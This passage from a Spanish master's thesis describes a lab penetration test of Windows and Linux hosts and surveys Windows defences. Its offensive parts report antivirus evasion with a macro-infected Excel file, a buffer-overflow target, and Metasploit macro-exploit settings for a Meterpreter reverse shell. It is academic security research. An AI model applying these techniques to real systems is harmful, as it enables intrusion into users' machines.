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Resumen

Los recursos tecnologicos y humanos forman parte de las labores cotidianas en la
actualidad, por lo tanto cumplen un rol de alta responsabilidad. Proteger y mantener la
disponibilidad, integridad y confidencialidad de la informacién, es un reto no solo para el
personal de seguridad sino también para todos los usuarios que de una u otra manera
operan algun tipo de sistema dentro de una Organizacion.

Este trabajo fin de Master contempla un escenario virtualizado propenso a ataques que
pueden sufrir las Organizaciones que exponen sus servicios hacia el Internet y que pueden

llegar a comprometer la red interna.

Mediante el desarrollo de un piloto experimental, en este trabajo se desea demostrar la
seguridad que pueden brindar los sistemas operativos Windows y Linux ante un posible
ataque derivado por la intrusién y alteracion de configuraciones a los sistemas criticos, como

pueden ser un Servidor Web y un Firewall
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Abstract

The technological and human resources are part of the daily work; therefore they play a high
responsibility role. Protecting and maintaining the availability, integrity and confidentiality of
information is a challenge not only for security staff, but also for all users who operate any
type of system within an Organization.

This Master's work includes a virtualized scenario which is susceptible to attacks that can be
suffered by the Organizations that expose their services to the Internet and can compromise
their internal network.

Through the development of an experimental pilot, this work will demonstrate the security
that the Windows and Linux operating systems can provide against a possible attack derived
from the intrusion and alteration of configurations to the critical systems such as: a Web
Server and a Firewall.

Keywords: Intrusion, Attack, Vulnerability, Security, Exploitation
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1 INTRODUCCION

Las empresas en la actualidad tienen como objetivo salvaguardar la informacion sensible y
critica, esta informacion es tomada como un activo primordial para el desarrollo de las
funciones diarias. La informacion es procesada y almacenada por servidores que operan
ininterrumpidamente y que estan expuestos hacia la web, permitiendo ser un blanco perfecto

para le ejecucién de un ataque.

El avance de las comunicaciones y la facil adquisicion de cualquier tipo de tecnologia
permiten a las empresas ofrecer servicios a los clientes mediante la web de forma interna o
externa. Estas prestaciones tienen sus beneficios pero también tiene sus repercusiones si
no hay un debido control de seguridad en las configuraciones del equipamiento y
principalmente en la concienciacién de los usuarios acerca de los riesgos que esta expuesta

la empresa por una falla o descuido involuntario.

Por ello se necesita realizar una comprobacién en un entorno virtual de la seguridad de una
empresa que esta expuesta a ataques provenientes desde el exterior hacia la red interna,
permitiendo de esta manera comparar los niveles de seguridad de cada uno de los sistemas
operativos (Windows, Linux) que funcionan en las redes LAN.

1.1 OBJETIVOS

En este proyecto voy a tratar de comparar y analizar los niveles de seguridad de los
sistemas operativos (Windows, Linux) pertenecientes a una red interna (LAN), mediante una
penetracion al servidor web que estd expuesto hacia el exterior (DMZ) en un entorno

previamente asegurado con sistemas configurados con firewall e IDS.

Se establecera un entorno virtual para prueba de ataques externos hacia el servidor Web, y
a partir de ahi realizar ataques a los sistemas operativos de la red interna, para luego
comparar si dichos ataques fueron satisfactorios y analizar que sistemas son mas seguros

frente a un escenario como este.

El objetivo no es de recabar minuciosamente las vulnerabilidades que pueden existir en los
sistemas operativos, sino mas bien comparar la seguridad que brindan teniendo en cuenta
los programas que vienen instalados por defecto, 0 programas que se instalan por ser muy
utilizados en estos sistemas como lo son: Microsoft Office, Libre Office, Windows Defender,

Kaspersky etc.

Técnica de ataque y explotacion al servidor de la DMZ y equipos de la red interna (LAN) 10
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2 ESTADO DEL ARTE

2.1 INTRODUCCION

Desde el punto de vista de un atacante el objetivo es acceder de forma remota a un sistema,
y en este caso especifico a un sistema operativo Windows o Linux, para obtener informacion

confidencial del usuario.

Uno de los métodos que comunmente utilizan los cibercriminales o hackers es el uso de
troyanos o malware. En este sentido no todo es sencillo al momento de atacar, ya que
actualmente los sistemas operativos modernos tienen herramientas de seguridad para

prevenir o mitigar la ejecucién de estos cédigos maliciosos.

Si bien los sistemas modernos poseen herramientas de seguridad como por ejemplo el
software de antivirus, también existen herramientas en constante actualizacion disefiadas
especificamente para poder crear archivos infectados (macros maliciosas y ejecutables) y
asi evadir los antivirus mas utilizados. En el Anexo D se explica el uso de las herramientas
como Luckystrike y Shellter para crear archivos infectados con payloads y que serviran para

vulnerar los equipos con sistemas Windows y Ubuntu.

2.2 MOTIVACION

La motivacion para el desarrollo de este capitulo ha sido impulsada después de la creacion
de un archivo infectado de Excel 2013 y procediendo a escanearlo para verificar cuantos
antivirus lo detectan como archivo malicioso. Para ello se ha realizado el escaneo en el sitio

web de virus total (www.virustotal.com). El resultado es el siguiente:

Antivirus Resultado Acwalizacién

Ad-Aware VB:Trojan.valyria.350 20170719
ALYac VB:Trojan.valyria.350 20170719
Arcabit HEUR VBA Trojan.e 20170719
Avast VBS Obfuscated-gen [Tr]] 20170719
AVG VBS Obfuscated-gen [Tr]] 20170719
BitDefender VB:Trojan Valyria.350 20170719
Emsisoft VB:Trojan.Valyria.350 (B) 20170719
F-Secure VB:Trojan Valyria 350 20170719
Fortinet WWiAgent 3C08B!r 20170719
GData VB:Trojan Valyria. 350 20170719
Kaspersky HEUR Trojan. Script Generic 20170719
MAX malware (ai score=86) 20170719
eScan VB:Trojan.Valyria.350 20170719
MANOD-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi 20170719
Qihoo-360 wvirus.office.obfuscated.1 20170719
TrendMicro HEUR_VBA.OZ 20170719
ZoneAlarm by Check Point HEUR Trojan-Downloader.Script. Generic 20170719

Figura 2-1 Escaneo de virus en el sitio www.virustotal.com del archivo de Excel
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Si vemos la figura 2-1 podemos darnos cuenta que en el listado no aparece el antivirus
Windows Defender que es el que viene instalado por defecto en el sistema operativo
Windows 10, por tanto este archivo puede ser abierto en Microsoft Office 2013 y ejecutada

la macro de forma indetectable sin ningin problema.

Otro aspecto importante que hay que tomar en cuenta, es que hoy en dia los sistemas
operativos Linux tienen la posibilidad de ejecutar aplicaciones nativas de Windows mediante
la herramienta libre Wine o cualquier otro emulador de pago, lo que podria dejar expuesto al

sistema para la ejecucion de archivos infectados de la misma manera que Windows.

2.3 VULNERABILIDAD POR DEFECTOS DE SOFTWARE

Las vulnerabilidades que pueden presentar los programas que se ejecutan tanto en los
Sistemas Operativos Windows y Linux es un buffer overflow o desbordamiento de memoria.
Las aplicaciones o programas que han sido implementadas sin ningun tipo de control de
seguridad en su codificacion son las propensas a este tipo de fallos, permitiendo que un
cibercriminal puede aprovecharse para insertar cédigo malicioso haciendo que exceda la
cantidad de memoria asignada por el sistema operativo, con el objetivo de ejecutar algin
tipo de ataque como puede ser la denegacién de servicio (DoS) o el control del equipo.

Existen muchos programas para Windows y Linux que poseen esta vulnerabilidad, pero la
diferencia entre estos dos sistemas es que en Linux los podemos encontrar pero en
versiones obsoletas en su totalidad, mientras que en Windows el panorama es distinto, por
ejemplo actualmente existe una aplicacion llamada Easy File Sharing HTTP Server 7.2 y que
sirve para compartir archivos via web, estando disponible en su dltima version para la

descarga desde su pagina oficial (http://www.sharing-file.com/) . En este trabajo se hara uso

de este programa para realizar un ataque a los sistemas aprovechando la vulnerabilidad de

buffer overflow existente.

2.4 VULNERABILIDAD EN SISTEMAS OPERATIVOS WINDOWS

Existen muchas vulnerabilidades que afectan los sistemas operativos Windows, todo
depende de las Ultimas actualizaciones para poder evadir cualquier fallo de seguridad que
comprometa al equipo. Sin embargo esto no asegura que un sistema Windows pueda verse

seriamente comprometido frente a un ataque bien perpetrado.

Para efecto de este trabajo a continuacion se detalla una vulnerabilidad que se presenta en

el office mediante una macro maliciosa, dicha vulnerabilidad esta expuesta publicamente.
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2.4.1 FALLO DE SEGURIDAD EN MICROSOFT OFFICE (EXCEL)

Microsoft Office es la herramienta ofiméatica mas utilizada hoy en dia por los usuarios de las
Organizaciones, ya sea por las diferentes caracteristicas del producto o por estandares
regulados por las empresas. Esta herramienta es muy popular para los cibercriminales y

muy utilizada para realizar ataques a empresas 0 personas particulares.

CVE-2008-0081 es un fallo de seguridad de Microsoft Office Excel que permite el control del
equipo de manera remota, esto gracias a la ejecuciébn de un cddigo insertado en los
documentos de Office en forma de macros (MITRE, 2011).

Microsoft, en cuanto a la actualizacién de seguridad en su boletin de seguridad MS08-14
nos dice:

Esta actualizacion de seguridad resuelve varias vulnerabilidades reportadas de forma
privada y publicadas publicamente en Microsoft Office Excel que podrian permitir la
ejecucion remota de cdodigo si un usuario abre un archivo de Excel especialmente
diseflado. Un atacante que explotara con éxito estas vulnerabilidades podria tomar el
control completo de un sistema afectado. Un atacante podria entonces instalar
programas; Ver, cambiar o eliminar datos; O crear nuevas cuentas con derechos de
usuario completos. Los usuarios cuyas cuentas estan configuradas para tener menos
derechos de usuario en el sistema podrian verse menos afectados que los usuarios que
operan con derechos de usuario administrativos. (Microsoft, Microsoft Security Bulletin
MSO08-014 - Critical, 2014)

Las versiones afectadas por esta vulnerabilidad son las siguientes:

— Microsoft Office 2000 Service Pack 3

— Microsoft Office XP Service Pack 3

— Microsoft Office 2003 Service Pack 2

— 2007 Microsoft Office System

— Microsoft Office Excel Viewer 2003 (KB943889)

— Paqguete de compatibilidad de Microsoft Office para formatos de archivo de Word, Excel y
PowerPoint 2007 (KB947801)

— Microsoft Office 2004 para Mac

— Microsoft Office 2008 para Mac

Como podemos ver en el listado anterior no aparecen las versiones de Office 2010, Office
2013 y 2016, por lo que podriamos decir que estas versiones vienen incorporadas

actualizaciones que brindan mayor seguridad.

CVE (Common Vulnerabilities and Exposures) es una base de datos que contiene todas las

vulnerabilidades de seguridad conocidas y que estan expuestas publicamente. Si bien un
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atacante podria valerse de estos datos para identificar una vulnerabilidad, la manera de
explotar dicha vulnerabilidad dependeria de su experiencia y capacidad. Para ello los
atacantes utilizan herramientas como el Metasploit que permite automatizar la manera de
explotar alguna vulnerabilidad conocida, ya que esta herramienta cuenta con una base de
datos de exploits parametrizables listos para ser ejecutados. Dentro de esta base de datos
no existe un exploit para una macro de Excel, hay uno para Word, pero el problema de este

exploit es que hoy en dia es facilmente detectado por Windows Defender.

msf = search macro

Name

exploit/multi/fileformat/office word macro

t/mult cro

dandexecute

Figura 2-2 Pantalla del exploit de la macro de Word en Metasploit

Viendo este panorama nos valemos de las herramientas de Luckystrike y Shellter que como
se dijo en la introduccién de este capitulo en el Anexo D se explica como generar archivos
infectados con este tipo de herramientas, para mas adelante en el Capitulo 3 utilizarlo para

vulnerar los equipos situados en la red interna

2.5 HERRAMIENTAS DE SEGURIDAD EN WINDOWS

Windows posee muchas herramientas de seguridad que se pueden usar para evitar ataques
provenientes desde el exterior o interior de las empresas. Todas estas herramientas son
primordiales para fortalecer la seguridad de los sistemas. A continuacion se realiza una

descripcion detallada de las herramientas mas importantes.

2.5.1 ACTUALIZACIONES DE SEGURIDAD
2.5.1.1 MICROSOFT UPDATE

Una de las ventajas de los sistemas operativos Windows es la posibilidad de obtener
actualizaciones automaticas de los sistemas sin la necesidad de la intervenciéon de los
usuarios. La actualizacion se lo realiza de manera transparente, de esta forma el sistema

permanecera actualizado ante posibles fallos de seguridad.

Segun (Scambray, Kurtz, McClure, & Stuart, 2010, p4g. 207), nos dicen que si se necesitan
administrar parches en varias computadoras, Microsoft proporciona las siguientes

soluciones:
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e “Microsoft Update consolida los parches para Windows, Office y otros productos clave en
una ubicacién que le permite seleccionar entrega automatica e instalacién de
actualizaciones de prioridad alta” (Scambray, Kurtz, McClure, & Stuart, 2010, pag. 207)

e “Windows Server Update Services (WSUS, servicios de actualizacion de Windows
Server) simplifica el parchado de los sistemas de Windows para organizaciones grandes,
con necesidades simples de implementacién de parches” (Scambray, Kurtz, McClure, &
Stuart, 2010, pag. 207)

e “Systems Management Server (SMS, servidor administrador de sistemas) 2003
proporciona informes de estado, objetivo, soporte amplio a paquetes, restauracion
automatica a la ultima configuracion buena conocida, administracion de ancho de banda 'y
otras caracteristicas mas robustas para empresas” (Scambray, Kurtz, McClure, & Stuart,
2010, pag. 207)

e “System Center Configuration Manager 2007 proporciona administracion de activos
extensa en servidores, equipos de escritorio y dispositivos méviles” (Scambray, Kurtz,
McClure, & Stuart, 2010, pag. 207)

B Inicio Estado de la actualizacién

| ‘ | No podemos instalar algunas actualizaciones porque existen
otras actualizaciones en curso. Reiniciar el equipo puede ayudar
y sequiremas intentando realizar las actualizaciones.

Actualizacién y sequridad

< Windows Update Reintentar

w Windows Defender Historial de actualizaciones

==l

Copia de seguridad ., . ..
Configuracion de actualizacién

G]

Recuperacion . . . N - .
P Las actualizaciones disponibles se descargaran y se instalardn

automaéticamente, excepto por las conexiones de uso medido
Activacion (donde puede que se apliquen cargos).

E

Encontrar mi dispositivo Cambiar horas activas

Opciones de reinicio
it Para programadores ¥

Opciones avanzadas
Ay Programa Windows Insider

;Estas buscando informacion sobre las actualizaciones mas
recientes?

Figura 2-3 Configuracion de las actualizaciones automaticas de Windows 10

2.5.2 CONTROLES DE ACCESO
2.5.2.1 CONTROL DE ACCESO A USUARIOS (UAC)

Esta es una de las caracteristicas que incorpora los sistemas Windows actuales. Su funcion
principal es proteger de posibles cambios que se intenta realizar en el sistema, o para pedir
confirmacion por parte del usuario cuando se realiza alguna instalacion. Como siempre es
conveniente tener dos usuarios uno como administrador con todos los permisos y otro con

permisos minimos. Esta caracteristica es muy importante para estos casos.
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& Configuracién de Control de cuentas de usuario

Elija cuédndo desea recibir notificaciones acerca de cambios en el equipo

A Imagien acerca de

Control de cuentes de usuario ayuda a impedir que programas perjudiciales realicen cambios en el equipo.
Mas inform o quracio

Ia confis 16n de Control de cuentas de usuang

Motificarme siempre

Mo notificarme nunca

Notificarme solamente cuando una aplicacién intente
realizar cambios en el equipo {predeterminado)

*  No notificarme cuando realice cambios en |2
configuracién de Windows

@ Recomendado si usa aplicaciones que le son
familiares y visita sitios web conocidos.

Cancelar

Figura 2-4 Pantalla de Configuracion de control de cuentas de usuarios

Como se puede apreciar en la figura

2.4 existen cuatro niveles que se pueden activar:

El primer nivel evita todas las notificaciones que el sistema puede generar al momento

de realizar algin cambio o instalacion. Por lo tanto este nivel es el menos recomendado.

cambio en el sistema.

El segundo nivel notifica si existe alguna accién que esta intentando realizar algun

El tercer nivel es el que viene predeterminado autométicamente al momento de instalar

los sistemas, este nos indica cuando algun programa esta intentando realizar cambios

en el sistema.

2.5.2.2 REPRODUCCION AUTOMA

El cuarto nivel es el que nos notifica siempre por lo tanto es el mas seguro.

TICA

La reproduccion automética de unidades como CD/DVD, USB etc., podrian llegar infectar al

sistema por virus almacenados en estos medios extraibles. Por lo tanto debemos tener

medidas de precaucion deshabilitando esta funcion.

3 Reproduccion automtica

- 1 g > Panel de control » Hardwarey sonido > Reproduccin automitica

ovDs

B Pelicula de DVD

B Pelicula de OVD mejorad

No realizar ninguna accién

Cancelar

Figura 2-5 Pantalla de Reproduccién automética de Windows
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2.5.2.3 APPLOCKER

Esta herramienta nos sirve para el control de la ejecucion de aplicaciones y scripts, se
puede utilizar tanto para un entorno local como para un grupo de usuarios a través de
politicas de grupo. Esta herramienta nos sirve para especificar qué tipos de archivos o

programas se pueden ejecutar en el sistema.
Con esta herramienta podremos realizar las siguientes configuraciones:

— Descartar software que no contenga ninguna licencia y por ende no pueda ser ejecutado,
al no ser que esté en una lista blanca de software permitido.

— Denegar la ejecucion de aplicaciones que puedan contener algun tipo de cdédigo
malicioso (malware), o que no estan dentro de una lista de aplicaciones permitidas.

— Permitir que Unicamente los administradores puedan ejecutar e instalar programas o

actualizaciones necesarias.

T Directiva de seguridad local = m} X

Archive  Accion  Ver  Ayuda

= 2= B

T Configuracién de sequridad
4 Directivas de cuenta

v [[4 Directivas locales
4 Directiva de auditoria

I AppLocker proporciona control de acceso para las aplicaciones

Intreduccidn

& Asignacién de derechos de usuario
Applocker usa reglas y las propiedades de archivos para proporcionar control de

4 Opciones de seguridad
_| Firewall de Windows con seguridad avanzada
| Directivas de Administrador de listas de redes
“| Directivas de clave pudblica
| Directivas de restriccidn de software
~ || Directivas de control de aplicaciones
v @ Applocker
=] Reglas gjecutables
Reglas de Windows Installer
=] Reglas de scripts
[ Reglas de aplicaciones empaquetadas
g Directivas de seguridad IP en Equipo local
| Configuracién de directiva de auditoria avanzada

acceso para aplicaciones. Si existen reglas en una coleccion de reglas, solo se
permite la gjecucion de los archivos incluidos en esas reglas. Las reglas de
AppLocker no se aplican a todas Ias ediciones de Windows.

Mas informacidn acerca de Applocker

£Qué ediciones de Windows admiten AppLocker?

Configurar la aplicacién de reglas

l . Para que la directiva de AppLocker se aplique en un equipo, el Servicio de
% identidad de la aplicacién debe estar en gjecucion.

Lse la configuracion de aplicacion para cada coleccion de reglas a fin de configurar
qué reglas se aplican o auditan. Si no se corfigura la aplicacion de reglas. las reglas se
aplicardn de forma predeterminada.

E] Configurar la aplicacion de reglas

Mas informacidn acerca de la aplicacion de reglas

[Nttt

Figura 2-6 Pantalla de configuracion de AppLocker de Windows

En el Anexo E se explica la configuracion de la herramienta AppLocker de Windows para

restringir la ejecucion de ciertos programas.
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2.5.2.4 FIREWALL DE WINDOWS

El firewall de Windows es una herramienta que viene incluido en las distribuciones y que se
puede configurar también por medio de las directivas de seguridad con una interfaz

amigable al usuario.

Este software en los sistemas actuales viene configurado por defecto con politicas
restrictivas para prevenir de posibles vulnerabilidades del sistema. La configuracion se

puede realizar de dos maneras:

— Mediante configuracién béasica

B Firewall de Windows — a x
& 5 « A4 @ « Sistemayseguridad > Firewall de Windows v Buscar en el Panel de control @

Ventana principal del Panel de Ayude a proteger su equipo con Firewall de Windows

control Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan acceso al

equipo a través de Internet o de una red.
Permitir una aplicacién o una

caracteristica a través de .

Firewall de Windows o Redes privadas Mo conectado
@) Cambiar la configuracién de L .

notificaciones l o Redes publicas o invitadas Conectado
G Activar o desactivar Firewall de B

Windows Redes en lugares publicos como aeropuertos o cafeterias
% Restaurar valores Estado de Firewall de Windows: Activado

predeterminades
Conexiones entrantes: Bloquear todas las conexiones a aplicaciones que

%) Configuracion avanzada :
no estén en la lista de aplicaciones permitidas

Solucién de problemas de red Redes pablicas activas: Red no identificada

Geovanny

Estado de notificacion: Motificarme cuando Firewall de Windows bloquee
una nueva aplicaciégn

Seguridad y mantenimiento

Centro de redes y recursos
compartidos

Figura 2-7 Configuracién bésica del firewall de Windows

Esta manera es muy sencilla de configurar ya que permite al usuario cuando se conecta a
una red seleccionar el perfil de manera rapida. A continuacién se describen los diferentes

tipos de perfil:

“Perfil de dominio: Se aplica a un adaptador de red cuando se conecta a una red en la que
puede detectar un controlador de dominio del dominio al que esta unido el equipo”

(Microsoft, Descripcion de los perfiles de firewall, s.f)

Perfil Privado: Se aplica a un adaptador de red cuando se conecta a una red identificada
por el administrador como privada. Una red privada es una red que no esta conectada
directamente a Internet, sino que se encuentra detras de algun tipo de dispositivo de
seguridad, como un enrutador NAT (traduccién de direcciones de red) o un firewall de
hardware. La configuracion del perfil privado debe ser mas restrictiva que la configuraciéon
del perfil de dominio. (Microsoft, Descripcidn de los perfiles de firewall, s.f)
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Perfil publico: Se aplica a un adaptador de red cuando se conecta a una red publica,
como las disponibles en aeropuertos y cafeterias. Una red publica es una red que no
tiene ningun dispositivo de seguridad entre el equipo e Internet. La configuracion del
perfil publico debe ser la mas restrictiva, ya que el equipo est4 conectado a una red
publica en la que no se puede controlar la seguridad. (Microsoft, Descripcion de los
perfiles de firewall, s.f)

— Mediante configuracion avanzada
Esta opcion nos permite configurar el firewall para poder editar las opciones y establecer

restricciones nuevas o modificaciones de las reglas. Estas reglas permiten o rechazan la

comunicacion de entrada y salida del software del sistema.

@ Firewall de Windows con seguridad avanzada - m} X

Archive  Accién  Ver  Ayuda

| m  HE
&P Firewall de Windows con segur Firewall de Windows con seguridad avanzada en Equipo local Acciones

& Reglas de entrada

&5 Reglas de salida &
5 Reglas de seguridad de con Firewall de Windows con seguridad avanzada proporciona seguridad de red par | Importar directiva...

# | Firewall de Windows con seg... &

B Supervision =| Bxportar directiva...
Infarmacién general Restaurar directiva prede...
Perfil de dominio

% Firewall de Windows esta activado.

Diagnosticar / Reparar

Ver »
® Las conexiones entrantes que no coincidan con una regla estan blogueadas. .
1G] Actualizar

D Propiedades
E Ayuda

'C_" Conexiones salientes que no coincidan con una regla serdn pemitidas

Perfil privado
% Firewall de Windows esta activado.
@ Las conexiones entrantes que no coincidan con una regla estdn blogueadas.

'C_J‘ Conexiones salientes que no coincidan con una regla serdn pemitidas

El perfil piblico esta activo.
¥ Firewall de Windows esta activado.
@ Las conexiones entrantes gue no coincidan con una regla estan blogueadas.

'C_“ Congxiones salientes que no coincidan con una regla serdn pemitidas

B Fropiedades de Firewall de Windows

Figura 2-8 Configuracién avanzada del firewall de Windows

En el Anexo F se explica la configuracion avanzada del Firewall de Windows para bloquear

trafico saliente.

2.5.3 PROTECCION CONTRA VIRUS, MALWARE Y NAVEGACION SEGURA
2.5.3.1 WINDOWS DEFENDER

Windows Defender es un software antimalware integrado por defecto en los sistemas
actuales como Windows 10, este proporciona seguridad en tiempo real a equipos de

escritorio, portatiles y servidores.

El uso de este tipo de software permite proteger al equipo contra software indeseado y el

spyware, este Ultimo puede ser instalado en los equipos sin el consentimiento del usuario
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por diferentes medios como es la navegacion por internet o el uso de medios extraibles
(CD/DVD, USB, etc.).

Este software también viene incorporado en sistemas como Windows server 2016
permitiendo actualizarse mediante Windows Update. Las configuraciones de instalacion en
Windows Server 2016 viene indicado en la pagina de soporte de Microsoft. A continuacion

se describen las nuevas funcionalidades:

— Deteccion mejorada para las aplicaciones no deseadas y las nuevas amenazas
mediante la proteccidén basada en la nube.

— Integracién de Windows 10.

— Administracion de nivel empresarial del sistema operativo e integracion con BYOD (Bring
Your Own Device).

3 windows Defender - m} X

Estado del equipo: Protegido

Configuracién

Su equipo estd siendo menitorizado y protegido. Opciones de examen:
I (® Rapido

| ——
— (@] Completo

(O Personalizado
@ Proteccién en tiempo real: Activada

@ Definiciones de virus y spyware:  Actualizadas Examinar ahora

Detalles del examen

Ultime examen: Hoy a las 14:14 (Examen rapido)

Figura 2-9 Ventana principal de Windows Defender
2.5.3.2 INTERFAZ METRO CON SANDBOX

Los sistemas Windows 8 y 10 integran una interfaz METRO que incluye una Sandbox para
la ejecucion segura de las aplicaciones. La Sandbox es un software que esté elaborado para
proteger al equipo de cualquier programa malicioso (virus, troyano, spyware etc.), y asi

evitar que se puedan realizar cambios en los archivos del sistema.

Este programa permite que los usuarios puedan ejecutar cualquier aplicacion (Word, Excel,
Navegador etc.) en un entorno Sandbox. Este brinda un nivel de seguridad entre el equipo y

los programas que estan siendo usados.
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Agregadas recientemente

@ Diskinternals Linux Reader

Més usat
)| Mozilla Firefox

VMware Workstation Pro Atropellan dos
veces a una

Google Chrome

™ Explorador hivos Microsoft Edge: Calculadora

¥ README....

Oracle VM VirtualBox ¥ c99:txtphp

GNS3 a '.,.'

Eifsrss Photoshep Ex.. | Edipse Mana.. 4

4 3D Builder V ﬁ ﬂ ' n

Obtener Offi OneNote
Accesibilidad de Windows ner Office neNote

B Accesorios de Windows

Figura 2-10 Interfaz METRO de Windows 10
2.5.3.3 ASLRY DEP

Otro aspecto importante que incorpora Windows 8 y 10 es la mejora de los sistemas ASLR
(Address Space Layout Randomization) y DEP (Data Execution Prevention), proteccién de
acceso y ejecucion de procesos no autorizados.

ASLR es una técnica que permite proteger al sistema contra ataques de desbordamiento de
buffer, con esto lo que se trata de evitar es que un atacante pueda saltar de manera efectiva
una funcion en particular. Organiza aleatoriamente las posiciones de las areas de datos
clave de un programa, incluyendo la direccion de inicio de los ejecutables, las direcciones de
la pila y las direcciones de bibliotecas.

Mientras que DEP es otra de las caracteristicas de los sistemas Windows actuales que
previene la ejecucion de datos, su funcién es de prevenir que una aplicacion o servicio se
ejecute desde una region de memoria no ejecutable, lo que impide que exploits puedan
realizar copias de codigo en memoria cuando se realiza un desbordamiento de buffer. DEP

se puede ejecutar de dos maneras:

— DEP ejecutado por hardware, para CPUs que pueden marcar paginas de memaria como
ejecutables y no ejecutables

— DEP ejecutado por software, no protege de la ejecuciéon de cddigo en paginas de datos,
pero si de otro tipo de ataques que sobrescriben los manejadores de excepciones SEH.

2.5.3.4 NAVEGADOR MICROSOFT EDGE

Microsoft Edge es un navegador que viene predeterminado en los sistemas Windows 10.
Este navegador tiene como caracteristica que trabaja en una Sandbox y posee filtros

SmartScreen experimentando mejoras frente a su antecesor el Internet Explorer, ya que se
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ha eliminado el soporte a ActiveX, BHO (Browser Helper Objects) y VML (Vector Markup
Language) que eran vectores de ataque para Internet Explorer.

3 Hotmail, Cutlook, Trumy X =

& > 0O | mecom

*msn

@4 outiookcom BF Tienda

TU APP DE NOTICIAS CUENCA/27°C /  NOTK

MUNDIAL SUB 20 - . - : 8 )
™ " R | y I . B
o { : We.
“" e | venezolanos tras perder s - AR
. : Ecuadortindigenas exigen
— ;Qué pasaria si entfdras a un indulto antes de aceptarel

oA

3\ ]
AT '“(é 37 n —_— s agujero negro? dialogo
A r | 23 - L

0y g ¢

/ 4 ;;/
a\:"_i ? S
Inglatérra, campedn Sub-20 1
tras vencer a Venezuela Las conmovedoras palabras
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Figura 2-11 Pantalla del Navegador Microsoft Edge

Este navegador tiene algunas caracteristicas de seguridad importantes que ayudan a
combatir de manera efectiva el phishing, hackeos y las vulnerabilidades de corrupcion de

memoria. A continuacion se describen estas caracteristicas:

— Windows Hello con criptografia asimétrica que autentica tanto a la persona como al sitio
web

— Smart Screen

— Sistema Certificate Reputation

— Ayuda con la pirateria

— Microsoft EdgeHTML y estandares web modernos

— Modo protegido

— Aplicacion de 64 bits

— Compatibilidad del nuevo modelo de extensién con HTML5

— Superficie de ataques reducidos

— Restricciones de integridad de cddigo y de carga de imagenes

— Mitigacién de recolector de elementos no utilizados en memoria (MemGC)

— Proteccién de flujo de control

— Windows REDTEAM

2.5.3.5 PROTECCION CONTRA EL PHISHING

En cuanto al phishing o suplantacion de identidad, el navegador de Microsoft protege contra
este tipo de ataques que intentan aprovecharse de la confianza de los usuarios, es decir que

el cibercriminal también conocido como phisher se hace pasar por una persona u
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organizacion confiable y mediante técnicas de ingenieria social adquiere informacion
confidencial como pueden ser contrasefias, informacion de tarjetas de crédito o cualquier

otra informacion importante, todo esto de forma fraudulenta.

Para conseguir esta proteccibn Microsoft Edge utiliza un cifrado asimétrico para la
identificacion en las paginas webs, de esta manera las contrasefias se protegen ante

sistemas de identificacion fraudulentos.

Dentro de las caracteristicas de seguridad se puede destacar el filtro de SmartScreen. Este
filtro tiene como finalidad proteger a los usuarios comprobando la reputacion de los sitios
webs gue se visitan, ademas este navegador cuenta con los estandares de proteccion de la
W3C vy el Internet Engineering Task Force, e incluye un certificado de reputacién que se

encarga de verificar si el certificado de un sitio es fraudulento o no.

2.5.3.6 EXTENSIONES SEGURAS

Microsoft para proteger a los usuarios ha creado un modelo de extensiones seguras, de esta

manera comparte una minima cantidad de datos entre estas extensiones y el navegador.

Microsoft Edge utiliza el modelo de extensiones seguras que estd basado en HTML y
JavaScript, y gracias a las opciones que brinda el estdndar HTML5 se puede prescindir de
extensiones como: VML, VB Scripts, BHO, ActiveX y barra de herramientas.

2.5.3.7 PROTECCION DE LA MEMORIA

Microsoft Edge incorporé el sistema MemGC (Memory Garbage Collector) y el CFG (Control
Flow Guard), por una parte el MemGC permite mitigar la explotacion de las vulnerabilidades

UAF evitando que se libere fragmentos de memoria si se encuentran referencias a ellos.

En el blog de (Simon, 2016), se hace referencia acerca de las vulnerabilidades UAF vy la
forma de explotacion. En dicho articulo se puede apreciar de manera explicita la explotacion
de la vulnerabilidad en el navegador Internet Explorer 8.0.7601.17514 que viene incorporado
en Windows 7 SP1, mediante una prueba de concepto (POC) con el uso de la herramienta
WinDbg, esta herramienta es un depurador multipropésito para el sistema operativo
Windows, y que se puede utilizar para depurar aplicaciones de modo usuario, controladores

de dispositivos y el propio kernel.

Y por ultimo tenemos el sistema CFG que se encarga de evitar que cdédigos maliciosos
salten a localizaciones de memoria para obtener el control de algin programa. Esta

tecnologia de Microsoft Visual Studio hace restricciones fuertes donde una aplicacion puede
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ejecutar un codigo, consiguiendo de esta manera que sea muy dificil que un exploit ejecute

codigo mediante vulnerabilidades como el desbordamiento de bufer

2.6 VULNERABILIDAD EN EL SISTEMA OPERATIVO LINUX DE ESCRITORIO

Para los sistemas operativos Linux y especificamente en Ubuntu existen herramientas
instaladas por defecto. Una de estas es la herramienta ofimatica “LibreOffice”, que permite
trabajar al usuario con procesador de texto, hoja de céalculo, presentaciones, etc. Esta al
igual que Microsoft Office de Windows, permite ejecutar macros que estan insertados en los
documentos. Estas macros pueden contener cédigo malicioso que es aprovechado por los
atacantes para enviar a los usuarios y obtener una conexién remota. Si el usuario no tiene
concienciacion acerca de la seguridad o tal vez es un usuario inexperto, y si le sumamos
también que en Ubuntu no viene instalado un antivirus que pueda detectar o bloquear,

resulta entonces un blanco perfecto para explotar esta vulnerabilidad.

2.6.1 ARCHIVO DE OPENOFFICE (WRITER) CON MACRO MALICIOSA
Dentro de la base de datos de Metasploit existe un exploit que puede ser utilizado para
generar este tipo de archivos con macros maliciosas insertadas. La informacion que

Metasploit nos da acerca de este exploit es la siguiente:

Malicious Macro Execution
cument_macro

t Framework License (BSD)

Figura 2-12 Pantalla de informacion del exploit para OpenOffice

Este exploit es ejecutado al momento que el usuario concede permisos de ejecucién de
macros en el menu de OpenOffice. Para configurarlo dentro del Metasploit se lo puede

hacer utilizando los siguientes parametros:

— BODY: mensaje que contendra en documento

— FILENAME: nombre del documento

— SRVHOST: la ip del equipo local que estara a la escucha de la conexion.
— SRVPORT: puerto local que estara a la escucha

— SSL: negociacion SSL para conexiones entrantes

— SSLCert: ruta del certificado personalizado

— URIPATH: URL a utilizar para el exploit

— TARGET: el objetivo, puede ser Linux (1) o Windows (0)
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Si configuramos todos estos parametros con “target=0" y no especificamos ningun payload,
por defecto al momento de establecer una conexion nos dara una shell remota. En el caso
de que queramos obtener una sesion de meterpreter debemos asignar el siguiente payload:
“python/meterpreter_reverse_tcp”. A continuacién se muestra los parametros utilizados en el
exploit para generar el documento a utilizar en el capitulo 3 y asi explotar el LibreOffice

